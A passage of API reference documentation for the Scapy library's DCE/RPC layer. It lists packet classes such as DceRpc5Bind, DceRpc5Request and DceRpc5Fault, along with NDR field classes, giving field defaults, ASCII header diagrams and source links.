	<Flag 3 (PFC_FIRST_FRAG+PFC_LAST_FRAG)>



	endian

	BitEnumField

	1



	encoding

	BitEnumField

	0



	float

	ByteEnumField

	0



	reserved1

	ByteField

	0



	reserved2

	ByteField

	0



	frag_len

	_EField

	None



	auth_len

	_EField

	None



	call_id

	_EField

	None



	auth_verifier

	TrailerField (Cond)

	None



	auth_padding

	TrailerField (Cond)

	None



	vt_trailer

	TrailerField

	None











	
payload_guess

	Possible sublayers:
DceRpc5AlterContextResp, DceRpc5AlterContext, DceRpc5Auth3, DceRpc5BindAck, DceRpc5BindNak, DceRpc5Bind, DceRpc5Fault, DceRpc5Request, DceRpc5Response






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L854-L879]

	




	
classmethod tcp_reassemble(data, _, session)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L884-L900]

	








	
class scapy.layers.dcerpc.DceRpc5AbstractSyntax(_pkt, /, *, if_uuid=None, if_version=3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L906-L921]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IF UUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IF VERSION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DceRpc5AbstractSyntax                    


DceRpc5AbstractSyntax fields






	if_uuid

	_EField

	None



	if_version

	_EField

	3















	
class scapy.layers.dcerpc.DceRpc5AlterContext(_pkt, /, *, max_xmit_frag=5840, max_recv_frag=8192, assoc_group_id=0, n_context_elem=None, reserved=0, context_elem=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1093-L1095]

	Bases: _DceRpcPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         MAX XMIT FRAG         |         MAX RECV FRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ASSOC GROUP ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| N CONTEXT ELEM|                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CONTEXT ELEM         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DceRpc5AlterContext                     


DceRpc5AlterContext fields






	max_xmit_frag

	_EField

	5840



	max_recv_frag

	_EField

	8192



	assoc_group_id

	_EField

	0



	n_context_elem

	_EField

	None



	reserved

	StrFixedLenField

	0



	context_elem

	EPacketListField

	[]















	
class scapy.layers.dcerpc.DceRpc5AlterContextResp(_pkt, /, *, max_xmit_frag=5840, max_recv_frag=8192, assoc_group_id=0, sec_addr=None, n_results=None, reserved=0, results=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1104-L1106]

	Bases: _DceRpcPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         MAX XMIT FRAG         |         MAX RECV FRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ASSOC GROUP ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SEC ADDR           |   N RESULTS   |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RESULTS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. DceRpc5AlterContextResp                   


DceRpc5AlterContextResp fields






	max_xmit_frag

	_EField

	5840



	max_recv_frag

	_EField

	8192



	assoc_group_id

	_EField

	0



	sec_addr

	PadField

	None



	n_results

	_EField

	None



	reserved

	StrFixedLenField

	0



	results

	EPacketListField

	[]















	
class scapy.layers.dcerpc.DceRpc5Auth3(_pkt, /, *, pad=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1114-L1116]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DceRpc5Auth3                         


DceRpc5Auth3 fields






	pad

	StrFixedLenField

	b''















	
class scapy.layers.dcerpc.DceRpc5Bind(_pkt, /, *, max_xmit_frag=5840, max_recv_frag=8192, assoc_group_id=0, n_context_elem=None, reserved=0, context_elem=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L985-L1003]

	Bases: _DceRpcPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         MAX XMIT FRAG         |         MAX RECV FRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ASSOC GROUP ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| N CONTEXT ELEM|                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CONTEXT ELEM         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DceRpc5Bind                         


DceRpc5Bind fields






	max_xmit_frag

	_EField

	5840



	max_recv_frag

	_EField

	8192



	assoc_group_id

	_EField

	0



	n_context_elem

	_EField

	None



	reserved

	StrFixedLenField

	0



	context_elem

	EPacketListField

	[]















	
class scapy.layers.dcerpc.DceRpc5BindAck(_pkt, /, *, max_xmit_frag=5840, max_recv_frag=8192, assoc_group_id=0, sec_addr=None, n_results=None, reserved=0, results=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1011-L1031]

	Bases: _DceRpcPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         MAX XMIT FRAG         |         MAX RECV FRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ASSOC GROUP ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SEC ADDR           |   N RESULTS   |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RESULTS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DceRpc5BindAck                        


DceRpc5BindAck fields






	max_xmit_frag

	_EField

	5840



	max_recv_frag

	_EField

	8192



	assoc_group_id

	_EField

	0



	sec_addr

	PadField

	None



	n_results

	_EField

	None



	reserved

	StrFixedLenField

	0



	results

	EPacketListField

	[]















	
class scapy.layers.dcerpc.DceRpc5BindNak(_pkt, /, *, provider_reject_reason=0, n_protocols=None, protocols=[], signature=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1047-L1084]

	Bases: _DceRpcPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PROVIDER REJECT REASON    |  N PROTOCOLS  |   PROTOCOLS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   SIGNATURE                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. DceRpc5BindNak                        


DceRpc5BindNak fields






	provider_reject_reason

	_EField

	0



	n_protocols

	_EField

	None



	protocols

	EPacketListField

	[]



	signature

	ReversePadField (Cond)

	None















	
class scapy.layers.dcerpc.DceRpc5Context(_pkt, /, *, cont_id=0, n_transfer_syn=None, reserved=0, abstract_syntax=None, transfer_syntaxes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L938-L952]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONT ID            | N TRANSFER SYN|    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ABSTRACT SYNTAX        |       TRANSFER SYNTAXES       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DceRpc5Context                        


DceRpc5Context fields






	cont_id

	_EField

	0



	n_transfer_syn

	FieldLenField

	None



	reserved

	ByteField

	0



	abstract_syntax

	EPacketField

	None



	transfer_syntaxes

	EPacketListField

	[]















	
class scapy.layers.dcerpc.DceRpc5Fault(_pkt, /, *, alloc_hint=0, cont_id=0, cancel_count=0, reserved=<Flag 0 ()>, status=0, reserved2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1124-L1133]

	Bases: _DceRpcPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOC HINT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONT ID            |  CANCEL COUNT |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DceRpc5Fault                         


DceRpc5Fault fields






	alloc_hint

	_EField

	0



	cont_id

	_EField

	0



	cancel_count

	ByteField

	0



	reserved

	FlagsField

	<Flag 0 ()>



	status

	_EField

	0



	reserved2

	IntField

	0















	
class scapy.layers.dcerpc.DceRpc5PortAny(_pkt, /, *, length=None, port_spec=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L974-L979]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |           PORT SPEC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DceRpc5PortAny                        


DceRpc5PortAny fields






	length

	_EField

	None



	port_spec

	_EField

	b''















	
class scapy.layers.dcerpc.DceRpc5Request(_pkt, /, *, alloc_hint=0, cont_id=0, opnum=0, object=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1142-L1155]

	Bases: _DceRpcPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOC HINT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONT ID            |             OPNUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OBJECT                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DceRpc5Request                        


DceRpc5Request fields






	alloc_hint

	_EField

	0



	cont_id

	_EField

	0



	opnum

	_EField

	0



	object

	PadField (Cond)

	None















	
class scapy.layers.dcerpc.DceRpc5Response(_pkt, /, *, alloc_hint=0, cont_id=0, cancel_count=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1163-L1170]

	Bases: _DceRpcPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOC HINT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONT ID            |  CANCEL COUNT |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DceRpc5Response                       


DceRpc5Response fields






	alloc_hint

	_EField

	0



	cont_id

	_EField

	0



	cancel_count

	ByteField

	0



	reserved

	ByteField

	0















	
class scapy.layers.dcerpc.DceRpc5Result(_pkt, /, *, result=0, reason=0, transfer_syntax=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L955-L971]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RESULT            |             REASON            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        TRANSFER SYNTAX        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DceRpc5Result                        


DceRpc5Result fields






	result

	_EField

	0



	reason

	_EField

	0



	transfer_syntax

	EPacketField

	None















	
class scapy.layers.dcerpc.DceRpc5TransferSyntax(_pkt, /, *, if_uuid=None, if_version=3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L924-L935]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IF UUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IF VERSION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DceRpc5TransferSyntax                    


DceRpc5TransferSyntax fields






	if_uuid

	_EField

	None



	if_version

	_EField

	3















	
class scapy.layers.dcerpc.DceRpc5Version(_pkt, /, *, major=0, minor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1039-L1044]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     MAJOR     |     MINOR     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DceRpc5Version                        


DceRpc5Version fields






	major

	ByteField

	0



	minor

	ByteField

	0















	
class scapy.layers.dcerpc.DceRpcInterface(name, uuid, version_tuple, if_version, opnums)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1181-L1194]

	Bases: object






	
class scapy.layers.dcerpc.DceRpcOp(request, response)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py]

	Bases: tuple


	
request

	Alias for field number 0






	
response

	Alias for field number 1










	
class scapy.layers.dcerpc.DceRpcSecVT(_pkt, /, *, rpc_sec_verification_trailer=b'\x8a\xe3\x13q\x02\xf46q', commands=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L654-L659]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  RPC SEC VERIFICATION TRAILER                 |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            COMMANDS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DceRpcSecVT                         


DceRpcSecVT fields






	rpc_sec_verification_trailer

	XStrFixedLenField

	b'\x8a\xe3\x13q\x02\xf46q'



	commands

	PacketListField

	[]















	
class scapy.layers.dcerpc.DceRpcSecVTBitmask(_pkt, /, *, bits=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L596-L603]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L602-L603]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              BITS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DceRpcSecVTBitmask                      


DceRpcSecVTBitmask fields






	bits

	LEIntField

	1















	
class scapy.layers.dcerpc.DceRpcSecVTCommand(_pkt, /, *, SEC_VT_MUST_PROCESS_COMMAND=0, SEC_VT_COMMAND_END=0, Command=0, Length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L564-L590]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|S|S|          COMMAND          |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DceRpcSecVTCommand                      


DceRpcSecVTCommand fields






	SEC_VT_MUST_PROCESS_COMMAND

	BitField  (1 bit)

	0



	SEC_VT_COMMAND_END

	BitField  (1 bit)

	0



	Command

	BitEnumField

	0



	Length

	LEShortField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L583-L590]

	








	
class scapy.layers.dcerpc.DceRpcSecVTHeader2(_pkt, /, *, PTYPE=0, Reserved1=0, Reserved2=0, drep=0, call_id=0, p_cont_id=0, opnum=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L638-L651]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L650-L651]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PTYPE     |   RESERVED1   |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DREP                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CALL ID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           P CONT ID           |             OPNUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DceRpcSecVTHeader2                      


DceRpcSecVTHeader2 fields






	PTYPE

	ByteField

	0



	Reserved1

	ByteField

	0



	Reserved2

	LEShortField

	0



	drep

	LEIntField

	0



	call_id

	LEIntField

	0



	p_cont_id

	LEShortField

	0



	opnum

	LEShortField

	0















	
class scapy.layers.dcerpc.DceRpcSecVTPcontext(_pkt, /, *, InterfaceId=None, Version=0, TransferSyntax=None, TransferVersion=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L609-L632]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L631-L632]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          INTERFACEID                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         TRANSFERSYNTAX                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        TRANSFERVERSION                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DceRpcSecVTPcontext                     


DceRpcSecVTPcontext fields






	InterfaceId

	UUIDEnumField

	None



	Version

	LEIntField

	0



	TransferSyntax

	UUIDEnumField

	None



	TransferVersion

	LEIntField

	0















	
class scapy.layers.dcerpc.DceRpcSession(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2548-L2947]

	Bases: DefaultSession

A DCE/RPC session within a TCP socket.


	
in_pkt(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2665-L2815]

	




	
out_pkt(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2817-L2941]

	




	
process(pkt: Packet) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2943-L2947]

	








	
class scapy.layers.dcerpc.DceRpcSocket(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2950-L2971]

	Bases: StreamSocket

A Wrapper around StreamSocket that uses a DceRpcSession


	
recv(x=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2968-L2971]

	




	
send(x, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2964-L2966]

	








	
class scapy.layers.dcerpc.NDRAlign(fld, align, padwith=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1395-L1404]

	Bases: _NDRAlign, ReversePadField

ReversePadField modified to fit NDR.


	If no align size is specified, use the one from the inner field


	Size is calculated from the beginning of the NDR stream





	
fld

	








	
class scapy.layers.dcerpc.NDRByteField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1485-L1486]

	Bases: _NDRLenField, ByteField






	
class scapy.layers.dcerpc.NDRConfFieldListField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2208-L2213]

	Bases: _NDRConfField, NDRFieldListField

NDR Conformant FieldListField


	
COUNT_FROM = True

	








	
class scapy.layers.dcerpc.NDRConfPacketListField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2192-L2197]

	Bases: _NDRConfField, _NDRPacketListField

NDR Conformant PacketListField


	
COUNT_FROM = True

	








	
class scapy.layers.dcerpc.NDRConfStrLenField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2237-L2246]

	Bases: _NDRConfField, _NDRValueOf, StrLenField

NDR Conformant StrLenField.

This is not a “string” per NDR, but an a conformant byte array
(e.g. tower_octet_string)


	
CONFORMANT_STRING = True

	




	
LENGTH_FROM = True

	








	
class scapy.layers.dcerpc.NDRConfStrLenFieldUtf16(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2249-L2258]

	Bases: _NDRConfField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16

NDR Conformant StrLenField.

See NDRConfLenStrField for comment.


	
CONFORMANT_STRING = True

	




	
LENGTH_FROM = True

	




	
ON_WIRE_SIZE_UTF16 = False

	








	
class scapy.layers.dcerpc.NDRConfVarFieldListField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2216-L2221]

	Bases: _NDRConfField, _NDRVarField, NDRFieldListField

NDR Conformant Varying FieldListField


	
COUNT_FROM = True

	








	
class scapy.layers.dcerpc.NDRConfVarPacketListField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2200-L2205]

